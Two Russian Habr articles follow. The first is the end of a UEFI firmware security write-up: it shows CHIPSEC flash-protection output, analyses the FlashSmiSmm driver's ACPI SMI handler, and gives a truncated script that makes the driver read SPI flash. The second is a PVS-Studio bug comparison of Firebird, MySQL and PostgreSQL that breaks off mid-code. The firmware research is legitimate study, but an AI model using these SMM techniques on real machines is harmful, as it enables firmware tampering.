после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти. В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти: ``` [*] running module: chipsec.modules.common.bios_wp [x][ ======================================================================= [x][ Module: BIOS Region Write Protection [x][ ======================================================================= [*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC) [00] BIOSWE = 0 << BIOS Write Enable [01] BLE = 1 << BIOS Lock Enable [02] SRC = 2 << SPI Read Configuration [04] TSS = 0 << Top Swap Status [05] SMM_BWP = 0 << SMM BIOS Write Protection [06] BBS = 0 << Boot BIOS Strap [07] BILD = 1 << BIOS Interface Lock Down [!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used) [*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFF SPI Protected Ranges ------------------------------------------------------------ PRx (offset) | Value | Base | Limit | WP? | RP? ------------------------------------------------------------ PR0 (84) | 00000000 | 00000000 | 00000000 | 0 | 0 PR1 (88) | 00000000 | 00000000 | 00000000 | 0 | 0 PR2 (8C) | 00000000 | 00000000 | 00000000 | 0 | 0 PR3 (90) | 00000000 | 00000000 | 00000000 | 0 | 0 PR4 (94) | 00000000 | 00000000 | 00000000 | 0 | 0 [!] None of the SPI protected ranges write-protect BIOS region [!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region [-] FAILED: BIOS is NOT protected completely ``` По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать. CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при условии, что мы все же смогли переписать BIOS, не позволит модифицированной прошивке загрузиться при запуске системы. Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера. Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI\_SMM\_SW\_DISPATCH2\_PROTOCOL\_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI\_SMM\_SYSTEM\_TABLE2.SmiHandlerRegister в окне структур. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6d3/805/28e/6d380528e0f7867a09834e6400376c54.png)Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/220/235/e40/220235e4087631ee7f96414783ac4745.png)Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/08c/d8f/70f/08cd8f70ffffbec6050df21a779b75f8.png)FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно: * **Fe** - Flash Erase * **Fu** - Flash Read (тут чисто логически, не понятно при чем тут "u") * **Fw** - Flash Write * **Wd** - Write Disable * **We** - Write Enable Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI. ``` HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482' flash_addr = 0x200000 size = 0x1000 output = mem_alloc(size, 0xffffffff)[1] smi_buffer = unpack(' ``` Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки. Заключение ---------- Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.
https://habr.com/ru/post/557166/
null
ru
null
# Сравнение качества кода Firebird, MySQL и PostgreSQL ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d99/28e/f3d/d9928ef3d7038b3b6d126b6952ad4502.png) Сегодняшняя статья несколько необычна. Как минимум по той причине, что вместо анализа одного проекта, будем искать ошибки сразу в трёх, а также посмотрим, где найдутся наиболее интересные баги. А самое интересное — мы выясним, кто молодец и пишет самый качественный код. Итак, на повестке дня — разбор ошибок в коде проектов Firebird, MySQL и PostgreSQL. В двух словах о проектах ------------------------ ### Firebird ![Picture 12](https://habrastorage.org/r/w1560/getpro/habr/post_images/d7e/1a2/9ee/d7e1a29eeb033215289cc8045a9b3b84.png) Firebird (FirebirdSQL) — кроссплатформенная система управления базами данных (СУБД), работающая на Mac OS X, Linux, Microsoft Windows и разнообразных Unix платформах. Firebird используется в различных промышленных системах (складские и хозяйственные, финансовый и государственный сектора) с 2001 г. Это коммерчески независимый проект C и C++ программистов, технических советников. **Дополнительные сведения:** * [официальный сайт](https://firebirdsql.org/); * [репозиторий на GitHub](https://github.com/FirebirdSQL/firebird); * количество звёзд на GitHub — 133; * количество форков на GitHub – 51. ### MySQL ![Picture 1](https://habrastorage.org/r/w1560/getpro/habr/post_images/b4d/063/68d/b4d06368d0c883c09a3d3a4b3be4a7db.png) MySQL — свободная реляционная система управления базами данных. Обычно MySQL используется в качестве сервера, к которому обращаются локальные или удалённые клиенты, однако в дистрибутив входит библиотека внутреннего сервера, позволяющая включать MySQL в автономные программы. Гибкость СУБД MySQL обеспечивается поддержкой большого количества типов таблиц: пользователи могут выбрать как таблицы типа MyISAM, поддерживающие полнотекстовый поиск, так и таблицы InnoDB, поддерживающие транзакции на уровне отдельных записей. Более того, СУБД MySQL поставляется со специальным типом таблиц EXAMPLE, демонстрирующим принципы создания новых типов таблиц. Благодаря открытой архитектуре и GPL-лицензированию, в СУБД MySQL постоянно появляются новые типы таблиц. **Дополнительные сведения**: * [официальный сайт](https://www.mysql.com/); * [репозиторий на GitHub](https://github.com/mysql/mysql-server); * количество звёзд на GitHub — 2179; * количество форков на GitHub — 907. ### PostgreSQL ![Picture 10](https://habrastorage.org/r/w1560/getpro/habr/post_images/a9f/3fc/0ac/a9f3fc0acc602904f57f8be0e49f5f3c.png) PostgreSQL — свободная объектно-реляционная система управления базами данных (СУБД). Существует в реализациях для множества UNIX-подобных платформ, включая AIX, различные BSD-системы, HP-UX, IRIX, Linux, macOS, Solaris/OpenSolaris, Tru64, QNX, а также для Microsoft Windows. Может справляться с различными объемами данных, начиная от небольших персональных приложений, заканчивая объемными интернет приложениями (хранилища данных) со многими параллельными пользователями PostgreSQL создана на основе некоммерческой СУБД Postgres, разработанной как open-source проект в Калифорнийском университете в Беркли. **Дополнительные сведения**: * [официальный сайт](https://www.postgresql.org/); * [«зеркало» репозитория на GitHub](https://github.com/postgres/postgres); * количество звёзд на GitHub — 3260; * количество форков на GitHub — 1107. PVS-Studio ---------- ![Picture 4](https://habrastorage.org/r/w1560/getpro/habr/post_images/4f7/ed1/254/4f7ed12543bf73f403b70a681cea15bb.png) В качестве средства поиска ошибок был использован статический анализатор кода [PVS-Studio](https://www.viva64.com/ru/pvs-studio/). PVS-Studio — анализатор исходного кода для языков программирования C, C++, C#, помогающий сократить расходы на разработку ПО за счёт раннего обнаружения ошибок, дефектов и потенциальных уязвимостей в программном коде. Работает в средах Windows и Linux. Ссылки на загрузку: * [Windows-версия](https://www.viva64.com/ru/pvs-studio-download/). * [Linux-версия](https://www.viva64.com/ru/pvs-studio-download-linux/). Ввиду того, что все 3 проекта достаточно просто собираются и содержат .sln файлы (сразу, или после генерации через CMake), задача самого анализа становится совсем тривиальной — достаточно запустить проверку через интерфейс плагина PVS-Studio, встраиваемый в IDE Visual Studio. Критерии сравнения ------------------ Прежде чем смотреть, что же интересного нашлось в проектах, необходимо определиться с одним из основных вопросов статьи — по каким критериям выполнять сравнение. ### Почему 'прямое' сравнение — не лучшая идея? Сравнивать 'в лоб' по количеству предупреждений, выданных анализатором (а точнее — по отношению количества предупреждений к количеству строк кода) — не лучшая идея, хоть это и наименее трудозатратный путь. Почему? Возьмём для примера проект PostgreSQL, где количество предупреждений GA с высоким уровнем достоверности — 611. Если в окне PVS-Studio задать фильтрацию по коду диагностического правила ([V547](https://www.viva64.com/ru/w/v547/)) и части сообщения (*ret < 0*), можно увидеть, что таких предупреждений — 419! Многовато… Это сразу наводит на мысль, что где-то есть источник этих предупреждений, например, макрос, или же код является автоматически сгенерированным. Комментарии в начале файлов, содержащих эти предупреждения, подтверждают верность теории: ``` /* This file was generated automatically by the Snowball to ANSI C compiler */ ``` Теперь, зная, что код был автоматически сгенерирован, есть 2 пути: * Подавить все предупреждения, так как автосгенерированный код неинтересен. Таким образом количество предупреждений (GA, Lvl1) сразу уменьшается на 69%! * Принять, что ошибки даже в автосгенерированном коде — это всё же ошибки, и попытаться с этим что-то сделать (исправить скрипт генерации кода, например). В таком случае количество предупреждений остаётся актуальным. Другой подводный камень — ошибки в сторонних компонентах, используемых в проектах. Опять же: * Можно сказать, что подобные ошибки — не ваша головная боль. Будут ли согласны с таким утверждением пользователи? * Принять ответственность. Это только пара примеров, которые могут выдвинуть проблему выбора, решение которой может изменить (порой значительно) количество актуальных предупреждений. ### Другой путь Сразу условимся, что предупреждения 3-его уровня достоверности (low certainty) рассматривать не будем. Это не те вещи, на которые стоит обращать внимание в первую очередь. Бесспорно, там может быть что-то полезное, но при написании статей и при начале использования статического анализа есть смысл игнорировать предупреждения 3 уровня. Я не буду выполнять полномасштабного сравнения, так как эта работа очень трудозатратна по многим причинам. Взять хотя бы предварительную настройку анализатора для каждого проекта, просмотр и анализ сотен предупреждений — всё это очень долго, а каков будет КПД — вопрос открытый. Поэтому поступим другим образом. Я посмотрю логи всех трёх проектов, постараюсь найти какие-то наиболее интересные ошибки и разобрать их, попутно посмотрев, есть-ли что-то подобное в остальных проектах. Кроме того, относительно недавно мы стали поглядывать в сторону поиска security issues. Даже статья была на эту тему — "[Как PVS-Studio может помочь в поиске уязвимостей?](https://www.viva64.com/ru/b/0514/)". С учётом того, что один из участников сегодняшнего обзора — MySQL — попал в упомянутую выше статью, мне было интересно проверить, удастся ли обнаружить похожий ход. Никаких хитростей — просто дополнительно посмотрим предупреждения PVS-Studio, аналогичные тем, что были в статье про уязвимости. ![Picture 13](https://habrastorage.org/r/w1560/getpro/habr/post_images/712/c49/4b3/712c494b39d8b614cd8c7a46f3f3056e.png) Обобщая вышесказанное, я буду оценивать качество кода по следующим критериям: * Возьму номера предупреждений анализатора из вышеупомянутой статьи про уязвимости и буду искать схожие предупреждения во всех трёх проектах. Думаю, такой подход понятен — раз известно, что подобный код может быть уязвимостью (хоть и не всегда), стоит обратить на него особое внимание. * Просмотрю GA предупреждения анализатора первых двух уровней достоверности, выберу из них те, которые покажутся наиболее интересными, после чего проверю — есть ли что-то подобное в других проектах. По итогам этих проверок будем записывать штрафные баллы в копилку проекта. Соответственно, кто меньше баллов наберёт, у того лучший код в отношении подходов, описанных выше. Безусловно, есть нюансы, но их я буду описывать по мере анализа и на момент подведения итогов. Ну что же, давайте приступим! Разбор ошибок ------------- ### Общие результаты анализа В таблице, представленной ниже, приведены общие результаты анализа проектов, взятые «as is» — без подавления ложных предупреждений, фильтрации по директориям и т.п. Обращаю внимание, что это только предупреждения общего назначения (General analysis). | | | | | | | --- | --- | --- | --- | --- | | Project | High Certainty | Medium Certainty | Low Certainty | Total | | Firebird | 156 | 680 | 1045 | 1881 | | MySQL | 902 | 1448 | 2925 | 5275 | | PostgreSQL | 611 | 1432 | 1576 | 3619 | Тем не менее, не стоит судить о качестве кода по этой таблице. Выше я упоминал причины, повторюсь: * отсутствие предварительной настройки анализатора; * не подавлены ложные срабатывания; * разный размер кодовой базы; * в ходе написания статьи в анализатор вносились правки, так что в момент начала и конца написания статьи результаты в этой таблице могут отличаться. Что касается плотности предупреждений (не ошибок!), взятой без предварительной настройки анализатора, то есть отношения количества предупреждений к LOC — она примерно равна на Firebird и PostgreSQL, и несколько выше на MySQL. Но не будем делать поспешных выводов, ведь, как известно, дьявол кроется в деталях. ### Проблемы затирания приватных данных Предупреждение [V597](https://www.viva64.com/ru/w/v597/) сигнализирует о наличии такого вызова функции *memset*, выполняющего очистку данных, который может быть удален компилятором в ходе оптимизации. Из-за этого приватные данные могут остаться неочищенными. Более подробно проблема описана в [документации к диагностическому правилу](https://www.viva64.com/ru/w/v597/). Ни в Firebird, ни в PostgreSQL не обнаружилось ни одного подобного предупреждения, чего нельзя сказать про MySQL. На подозрительный код этого проекта и посмотрим. ``` extern "C" char * my_crypt_genhash(char *ctbuffer, size_t ctbufflen, const char *plaintext, size_t plaintext_len, const char *switchsalt, const char **params) { int salt_len; size_t i; char *salt; unsigned char A[DIGEST_LEN]; unsigned char B[DIGEST_LEN]; unsigned char DP[DIGEST_LEN]; unsigned char DS[DIGEST_LEN]; .... (void) memset(A, 0, sizeof (A)); (void) memset(B, 0, sizeof (B)); (void) memset(DP, 0, sizeof (DP)); (void) memset(DS, 0, sizeof (DS)); return (ctbuffer); } ``` **Предупреждения PVS-Studio**: * V597 The compiler could delete the 'memset' function call, which is used to flush 'A' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_genhash\_impl.cc 420 * V597 The compiler could delete the 'memset' function call, which is used to flush 'B' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_genhash\_impl.cc 421 * V597 The compiler could delete the 'memset' function call, which is used to flush 'DP' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_genhash\_impl.cc 422 * V597 The compiler could delete the 'memset' function call, which is used to flush 'DS' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_genhash\_impl.cc 423 Анализатор нашёл сразу 4 буфера в одной функции (!), для которых должна выполняться принудительная очистка данных, и которая, в то же время, может не произойти. Тогда обнуляемые (в теории) данные останутся в памяти в виде «as is». Отсутствие дальнейшего использования буферов *A*, *B*, *DP*, *DS* позволяет компилятору удалить вызов функции *memset*, так как подобное изменение не влияет на поведение программы с точки зрения C/C++. Более подробно данная проблема описана в статье "[Безопасная очистка приватных данных](https://www.viva64.com/ru/b/0388/)". Другие предупреждения аналогичны, поэтому разбирать их не буду. Приведу их списком: * V597 The compiler could delete the 'memset' function call, which is used to flush 'table\_list' object. The RtlSecureZeroMemory() function should be used to erase the private data. sql\_show.cc 630 * V597 The compiler could delete the 'memset' function call, which is used to flush 'W' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha.cpp 413 * V597 The compiler could delete the 'memset' function call, which is used to flush 'W' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha.cpp 490 * V597 The compiler could delete the 'memset' function call, which is used to flush 'T' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha.cpp 491 * V597 The compiler could delete the 'memset' function call, which is used to flush 'W' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha.cpp 597 * V597 The compiler could delete the 'memset' function call, which is used to flush 'T' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. sha.cpp 598 А вот чуть более интересный случай. ``` void win32_dealloc(struct event_base *_base, void *arg) { struct win32op *win32op = arg; .... memset(win32op, 0, sizeof(win32op)); free(win32op); } ``` **Предупреждение PVS-Studio**: [V597](https://www.viva64.com/ru/w/v597/) The compiler could delete the 'memset' function call, which is used to flush 'win32op' object. The RtlSecureZeroMemory() function should be used to erase the private data. win32.c 442 Здесь ситуация схожа, но после обнуления данных в памяти соответствующий указатель передаётся в функцию *free*. Несмотря на это, компилятор всё так же может удалить вызов *memset*, оставив только вызов функции освобождения блока памяти (*free*). Как итог — данные, которые должны быть обнулены, могут так и остаться в памяти. Больше информации можно найти в упоминавшейся выше статье. **Подсчёт баллов.** Достаточно серьёзная ошибка, там более, найденная не в единственном экземпляре. 3 штрафных балла MySQL. ### Отсутствие проверки валидности указателя, возвращаемого malloc и подобными ей функциями Предупреждения [V769](https://www.viva64.com/ru/w/v769/) были выданы на все три проекта. * Firebird: high certainty — 0; medium certainty — 0; low certainty — 9; * MySQL: high certainty — 0; medium certainty — 13; low certainty — 103; * PostgreSQL: high certainty — 1 medium certainty — 2; low certainty — 24. Так как мы условились не рассматривать третий уровень, Firebird сразу выбывает (в хорошем смысле) из сравнения. Все 3 предупреждения на код PostgreSQL также оказались неактуальными. А вот с MySQL всё не так однозначно. Были ложные срабатывания и там, но некоторые предупреждения весьма интересны. ``` bool Gcs_message_stage_lz4::apply(Gcs_packet &packet) { .... unsigned char *new_buffer = (unsigned char*) malloc(new_capacity); unsigned char *new_payload_ptr = new_buffer + fixed_header_len + hd_len; // compress payload compressed_len= LZ4_compress_default((const char*)packet.get_payload(), (char*)new_payload_ptr, static_cast(old\_payload\_len), compress\_bound); .... } ``` **Предупреждение PVS-Studio**: [V769](https://www.viva64.com/ru/w/v769/) The 'new\_buffer' pointer in the 'new\_buffer + fixed\_header\_len' expression could be nullptr. In such case, resulting value will be senseless and it should not be used. Check lines: 74, 73. gcs\_message\_stage\_lz4.cc 74 Функция *malloc* в случае, если не удалось вернуть запрашиваемый блок памяти, возвращает нулевой указатель, который может быть записан в переменную *new\_buffer*. Далее, при инициализации значения переменной *new\_payload\_ptr*, значение указателя *new\_buffer* суммируется со значениями переменных *fixed\_header\_len* и *hd\_len*. Всё, точка невозврата для указателя *new\_payload\_ptr*: если где-то дальше (например, в другой функции) мы захотим проверить валидность указателя, сравнив его с *NULL*, такая проверка уже не поможет. О последствиях можете судить сами. Следовательно, перед инициализацией *new\_payload\_ptr* следовало бы проверить, что *new\_buffer* — не нулевой указатель. Кто-то может возразить — зачем проверять возвращаемое значение *malloc* на *NULL*, если мы не смогли получить необходимый блок памяти? Всё равно дальнейшая нормальная работа невозможна, следовательно, пусть приложение упадёт при дальнейшей работе с этим указателем, например. Ввиду того, что некоторые разработчики придерживаются такой позиции, она вполне имеет право на существование, но насколько правилен этот подход? Ведь можно попробовать как-то обработать подобную ситуацию, чтобы, например, не потерять данные, или 'упасть более мягко'. К тому же, такой код становится потенциально уязвимым, т.к. в случае, если работа происходит не непосредственно с нулевым указателем, а с другим блоком памяти (*null pointer + value*), приложение вполне может повредить какие-то данные. Более того, всё это — ещё один способ добавить уязвимость в приложение. Оно вам надо? Плюсы, минусы и окончательное решение, думаю, каждый вынесет для себя сам. Советую вам придерживаться второго подхода, а диагностическое правило [V769](https://www.viva64.com/ru/w/v769/) поможет вам в обнаружении подобных ситуаций. Если же вы решили, что подобные функции никогда не могут возвращать *NULL*, об этом можно сообщить анализатору, чтобы не получать соответствующих предупреждений. О том, как это сделать, написано в статье "[Дополнительная настройка диагностик](https://www.viva64.com/ru/m/0040/)". **Подсчёт баллов.** Учитывая изложенное выше, MySQL получает 1 штрафной балл. ### Использование потенциально нулевого указателя Предупреждения [V575](https://www.viva64.com/ru/w/v575/) были выданы на все 3 проекта. Пример ошибки из проекта Firebird (medium certainty): ``` static void write_log(int log_action, const char* buff) { .... log_info* tmp = static_cast(malloc(sizeof(log\_info))); memset(tmp, 0, sizeof(log\_info)); .... } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The potential null pointer is passed into 'memset' function. Inspect the first argument. Check lines: 1106, 1105. iscguard.cpp 1106 Проблема схожа с той, о которой говорили выше — не проверяется возвращаемое значение функции *malloc*. Если не удалось аллоцировать запрашиваемый объём памяти, *malloc* вернёт нулевой указатель, который затем будет передан в функцию *memset*. Аналогичный код из проекта MySQL: ``` Xcom_member_state::Xcom_member_state(....) { .... m_data_size= data_size; m_data= static_cast(malloc(sizeof(uchar) \* m\_data\_size)); memcpy(m\_data, data, m\_data\_size); .... } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The potential null pointer is passed into 'memcpy' function. Inspect the first argument. Check lines: 43, 42. gcs\_xcom\_state\_exchange.cc 43 Ошибка аналогична описанной выше проблеме из Firebird. На всякий случай напоминаю, что есть места, где возвращаемое значение *malloc* проверяется на неравенство *NULL*. Но это к ним не относится. В PostgreSQL тоже нашёлся схожий код: ``` static void ecpg_filter(const char *sourcefile, const char *outfile) { .... n = (char *) malloc(plen); StrNCpy(n, p + 1, plen); .... } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The potential null pointer is passed into 'strncpy' function. Inspect the first argument. Check lines: 66, 65. pg\_regress\_ecpg.c 66 Были, однако, и более интересные предупреждения высокого уровня достоверности (high certainty level) на проектах MySQL и PostgreSQL. Фрагмент кода из MySQL: ``` View_change_event::View_change_event(char* raw_view_id) : Binary_log_event(VIEW_CHANGE_EVENT), view_id(), seq_number(0), certification_info() { memcpy(view_id, raw_view_id, strlen(raw_view_id)); } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The 'memcpy' function doesn't copy the whole string. Use 'strcpy / strcpy\_s' function to preserve terminal null. control\_events.cpp 830 С использованием функции *memcpy* копируют строку из *raw\_view\_id* в *view\_id*, количество копируемых байт вычисляется при помощи функции *strlen*. Нюанс в том, что *strlen* возвращает длину строки без учёта терминального нуля, следовательно, скопирован он не будет. Стоит учитывать, что теперь, если не дописать терминальный ноль самостоятельно, функции работы со строками будут неверно работать с *view\_id*. Для корректного копирования строк следовало бы использовать функции *strcpy* / *strcpy\_s*. Казалось бы, схожий код из PostgreSQL: ``` static int PerformRadiusTransaction(char *server, char *secret, char *portstr, char *identifier, char *user_name, char *passwd) { .... uint8 *cryptvector; .... cryptvector = palloc(strlen(secret) + RADIUS_VECTOR_LENGTH); memcpy(cryptvector, secret, strlen(secret)); } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The 'memcpy' function doesn't copy the whole string. Use 'strcpy / strcpy\_s' function to preserve terminal null. auth.c 2956 Здесь есть интересное отличие от предыдущего случая. Тип переменной *cryptvector* — *uint8\**. Несмотря на то, что *uint8* — псевдоним для *unsigned char*, таким образом, как мне кажется, выражается явное намерение показать, что с данными не будут работать как со строкой. Следовательно, в данном контексте такая операция допустима и не настораживает так, как предыдущая. Встретился, правда, и код, который показался менее безопасным. ``` int intoasc(interval * i, char *str) { char *tmp; errno = 0; tmp = PGTYPESinterval_to_asc(i); if (!tmp) return -errno; memcpy(str, tmp, strlen(tmp)); free(tmp); return 0; } ``` **Предупреждение PVS-Studio**: [V575](https://www.viva64.com/ru/w/v575/) The 'memcpy' function doesn't copy the whole string. Use 'strcpy / strcpy\_s' function to preserve terminal null. informix.c 677 Ситуация аналогична описанным выше, но ближе к коду из MySQL — используются строки, содержимое которых (за исключением терминального нуля) копируется в память, используемую где-то вовне… **Подсчёт баллов.** Firebird — 1 штрафной балл, PostgreSQL и MySQL — 3 штрафных балла, (1 — предупреждения среднего уровня достоверности, 2 — за высокий уровень достоверности). ### Потенциально опасное использование функций форматирования Предупреждения [V618](https://www.viva64.com/ru/w/v618/) были выданы только на код в проекте Firebird. Рассмотрим пример: ``` static const char* const USAGE_COMP = " USAGE IS COMP"; static void gen_based( const act* action) { .... fprintf(gpreGlob.out_file, USAGE_COMP); .... } ``` **Предупреждение PVS-Studio**: [V618](https://www.viva64.com/ru/w/v618/) It's dangerous to call the 'fprintf' function in such a manner, as the line being passed could contain format specification. The example of the safe code: printf("%s", str); cob.cpp 1020 Анализатор насторожило то, что используется функция форматированного вывода (*fprintf*), но при этом строка распечатывается напрямую, без использования строки форматирования с соответствующими спецификаторами. Это может быть опасно, и даже стать причиной уязвимости (см. [CVE-2013-4258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4258)) в случаях, если в распечатываемой строке встретятся спецификаторы формата. Здесь же строка *USAGE\_COMP* явно определена в исходном коде и не содержит спецификаторов формата, так что такое использование можно считать допустимым. В остальных местах ситуация аналогична: распечатываемые строки были захардкожены и не содержали спецификаторов формата. **Подсчёт баллов.** Ввиду того, что написано выше, я решил не 'штрафовать' Firebird. ### Другие предупреждения из статьи про уязвимости Предупреждений [V642](https://www.viva64.com/ru/w/v642/) и [V640](https://www.viva64.com/ru/w/v640/) на проекты выдано не было — все молодцы. ### Подозрительное использование элементов перечислений Пример кода из MySQL. ``` enum wkbType { wkb_invalid_type= 0, wkb_first= 1, wkb_point= 1, wkb_linestring= 2, wkb_polygon= 3, wkb_multipoint= 4, wkb_multilinestring= 5, wkb_multipolygon= 6, wkb_geometrycollection= 7, wkb_polygon_inner_rings= 31, wkb_last=31 }; bool append_geometry(....) { .... if (header.wkb_type == Geometry::wkb_multipoint) .... else if (header.wkb_type == Geometry::wkb_multipolygon) .... else if (Geometry::wkb_multilinestring) .... else DBUG_ASSERT(false); .... } ``` **Предупреждение PVS-Studio**: [V768](https://www.viva64.com/ru/w/v768/) The enumeration constant 'wkb\_multilinestring' is used as a variable of a Boolean-type. item\_geofunc.cc 1887 В принципе, текст предупреждения говорит сам за себя. Если посмотреть на условные выражения, можно заметить, что два — сравнения *header.wkb\_type* с элементами перечисления *Geomerty*, а всё третье условное выражение — это и есть элемент перечисления. Ввиду того, что *Geometry::wkb\_multilinestring* имеет значение *5*, тело этого условного оператора будет выполняться всегда, когда две предыдущих проверки не сработают. Таким образом, *else*-ветвь, содержащая макрос *DBUG\_ASSERT,* не будет выполнена вообще никогда. Очевидно, что правильный вид третьего условного выражения — следующий: ``` header.wkb_type == Geometry::wkb_multilinestring ``` Что же в остальных проектах? В PostgreSQL не встретилось ни одного такого предупреждения, а вот в Firebird — целых 9. Правда эти предупреждения находятся уже уровнем ниже (medium certainty), и детектируемый паттерн тоже отличается. Паттерны поиска ошибок, выявляемых диагностическим правилом [V768](https://www.viva64.com/ru/w/v768/), следующие: * High certainty: использование членов перечисления в качестве выражений логического типа. * Medium certainty: использование переменных, имеющих тип перечисления, как выражений логического типа. Следовательно, если в первом случае отвертеться не получится, то с предупреждениями анализатора на втором уровне достоверности ещё можно как-то поспорить. Например, большинство случаев представляют из себя что-то подобное: ``` enum att_type { att_end = 0, .... }; void fix_exception(...., att_type& failed_attrib, ....) { .... if (!failed_attrib) .... } ``` **Предупреждение PVS-Studio**: [V768](https://www.viva64.com/ru/w/v768/) The variable 'failed\_attrib' is of enum type. It is odd that it is used as a variable of a Boolean-type. restore.cpp 8580 Анализатор счёл подозрительным код, в котором таким образом проверяется, что переменная *failed\_attrib* имеет значение *att\_type::att\_end*. Я бы, например, предпочёл явное сравнение с элементом перечисления. Тем не менее, сказать, что этот код ошибочен, я не могу. Да, мне не нравится такой стиль (и анализатору тоже), но код допустим. Но есть 2 места, которые выглядят несколько подозрительнее. Паттерн одинаков, так что рассмотрим только один случай. ``` namespace EDS { .... enum TraScope {traAutonomous = 1, traCommon, traTwoPhase}; .... } class ExecStatementNode : .... { .... EDS::TraScope traScope; .... }; void ExecStatementNode::genBlr(DsqlCompilerScratch* dsqlScratch) { .... if (traScope) .... .... } ``` **Предупреждение PVS-Studio**: [V768](https://www.viva64.com/ru/w/v768/) The variable 'traScope' is of enum type. It is odd that it is used as a variable of a Boolean-type. stmtnodes.cpp 3448 Код похож на предыдущий — также хотели проверить, что переменная *traScope* содержит значение элемента перечисления с фактическим ненулевым значением. Но здесь, в отличии от предыдущего примера, отсутствуют элементы перечисления с фактическим значением '0'. Так что этот код выглядит более подозрительно, чем предыдущий. Раз уж мы заговорили о предупреждениях среднего уровня достоверности, стоит дополнить, что в MySQL они нашлись тоже — 10 штук. **Подсчёт баллов.** Firebird получает 1 штрафной балл, MySQL — 2. ### Неверное вычисление размера блока памяти Кстати, вот ещё один интересный фрагмент кода. Причём, к нему мы уже обращались ранее, когда разбирались с затиранием приватных данных в памяти. ``` struct win32op { int fd_setsz; struct win_fd_set *readset_in; struct win_fd_set *writeset_in; struct win_fd_set *readset_out; struct win_fd_set *writeset_out; struct win_fd_set *exset_out; RB_HEAD(event_map, event_entry) event_root; unsigned signals_are_broken : 1; }; void win32_dealloc(struct event_base *_base, void *arg) { struct win32op *win32op = arg; .... memset(win32op, 0, sizeof(win32op)); free(win32op); } ``` **Предупреждение PVS-Studio**: [V579](https://www.viva64.com/ru/w/v579/) The memset function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. win32.c 442 Обратите внимание на третий аргумент в вызове функции *memset*. Оператор *sizeof* возвращает размер своего аргумента в байтах, но в данном случае аргументом является указатель, следовательно, оператор *sizeof* вернёт размер указателя, а не размер структуры. Из-за этого, даже в случае, если вызов функции *memset* не будет удалён, 'зачищен' будет объём памяти меньше необходимого. Мораль — тщательно выбирайте имена переменных и старайтесь избегать таких, которые легко перепутать. Иногда без таких имён не обойтись, но в таких случаях следует быть вдвойне внимательным. С этим связаны многие ошибки, которые удавалось обнаруживать с помощью диагностических правил [V501](https://www.viva64.com/ru/w/v501/) в [C/C++ проектах](https://www.viva64.com/ru/examples/v501/) и [V3001](https://www.viva64.com/ru/w/v3001/) в [C# проектах](https://www.viva64.com/ru/examples/v3001/). В других проектах предупреждений [V579](https://www.viva64.com/ru/w/v579/) не обнаружилось. **Подсчёт баллов.** 2 штрафных балла для MySQL. Была ещё схожая ошибка. Вновь в MySQL. ``` typedef char Error_message_buf[1024]; const char* get_last_error_message(Error_message_buf buf) { int error= GetLastError(); buf[0]= 